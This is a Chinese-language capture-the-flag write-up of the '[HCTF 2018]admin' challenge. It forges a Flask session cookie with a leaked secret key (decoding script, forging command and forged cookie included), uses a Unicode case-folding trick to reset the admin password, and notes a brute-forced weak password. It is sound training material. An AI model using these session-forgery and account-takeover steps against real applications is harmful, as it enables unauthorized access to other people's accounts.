BUUCTF——[HCTF 2018]admin

文章目录

  • 利用点
  • 审题
  • 解题——Flask session
  • 解2——Unicode编码欺骗
  • 解3——(非预期)弱口令爆破
  • 参考

利用点

  • Flask session
  • Unicode编码欺骗
  • (非预期)弱口令爆破

审题

打开环境,主页仅提供了login和register两项服务,hctf的超链接打开是404

BUUCTF——[HCTF 2018]admin_第1张图片

提示那么少,先看看主页的源码

BUUCTF——[HCTF 2018]admin_第2张图片

结合题目以及提示,可以断定是要登录管理员账户,先注册一个账户,看看登录有些什么内容

新增了post和change password功能,在change password找到hint,去g站看看项目源码

BUUCTF——[HCTF 2018]admin_第3张图片

在index.html发现,登录要求session['name']=='admin'就能拿到flag,可以确认此题是cookie欺骗

BUUCTF——[HCTF 2018]admin_第4张图片

解题——Flask session

网站框架是Flask,session存储在本地cookie中,因此只要对cookie解密,替换name即可绕过登录

在config.py发现secret_key

BUUCTF——[HCTF 2018]admin_第5张图片

F12获取cookie,用脚本对cookie解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
  	print()
    print(decryption(sys.argv[1].encode()))

BUUCTF——[HCTF 2018]admin_第6张图片

现在只要将cookie明文中的name改成admin,再使用secret_key加密即可绕过登录

使用flask-session-cookie-manager3脚本加密

flask-session-cookie-manager3

该脚本也能解密

>python flask_session_cookie_manager3.py encode -s ckj123 -t "{
     '_fresh': True, '_id': b'92fa061ede7fa5547ff2da4e12ec8623a46efb0c19f3795e4d62f259e1bef54eb97629ee21a5c2e6352f5f27925d74bcb435fe777f4a9fd9f1b540dcb9c986e0', 'csrf_token': b'141e420a4f5688b7d6274541a14b69376db6a65c', 'image': b'NpMR', 'name': 'admin', 'user_id': '10'}
.eJw9kMGKwjAQhl9lydlDjXgRPLjoFguZUBkNMxdx29o2TbpQFW3Ed9_gwt4GvuH7Z_6nOJ6H6tKIxXW4VRNxbEuxeIqPb7EQGjNPuJLKHDrGMs77KaxLzzbrCHdOYeYo1FJZaGDNjv32TmEzZ6tmGg8O0lwqTyOgc8pkju0-YbOdQ6BRm4NT9qsBo0ZGChCzwMTd0I1g8hmkmSWbBzDsIBQztrtGG-60oQdFj0p3kTursZaMq6V4TURxGc7H609X9f8vKMwfjPmo0k0S46VeNy3IeJYtEoiMcJOQpbkKheR0KwlpSvflW9f6U139m7D_hH39R_qTj0CcSt_2YiJul2p49yamiXj9AqPybjM.YKDIUg.tpA0-pkP0jCUHIYjpNbLauQNK3I

加密cookie替换,刷新即可获得flag

BUUCTF——[HCTF 2018]admin_第7张图片

解2——Unicode编码欺骗

解法来源于参考文章

route.py发现引用了Twisted包的nodeprep.prepare()转换小写
BUUCTF——[HCTF 2018]admin_第8张图片
BUUCTF——[HCTF 2018]admin_第9张图片

注册、登录、改密码都会利用strlower()进行一次小写转换,旧版本这个函数存在漏洞

  • 用Unicode特殊字符ᴬᴰᴹᴵᴺ注册一个号,转换小写成了ADMIN,实际是注册了ADMIN

  • 登录ᴬᴰᴹᴵᴺ,实际是登录ADMIN,改密码,转换小写成了admin,实际改了admin的密码

  • 登录ADMIN,实际是登录admin,获得flag

    admin=nodeprep.prepare(nodeprep.prepare('ᴬᴰᴹᴵᴺ'))

Search - Unicode Character Table (unicode-table.com)

解3——(非预期)弱口令爆破

弱口令爆破,使用Burpsuite爆破登录admin/123

参考

HCTF2018-admin_迷风小白-CSDN博客

你可能感兴趣的:(#,Web,BUUCTF,flask,web安全,session,unicode)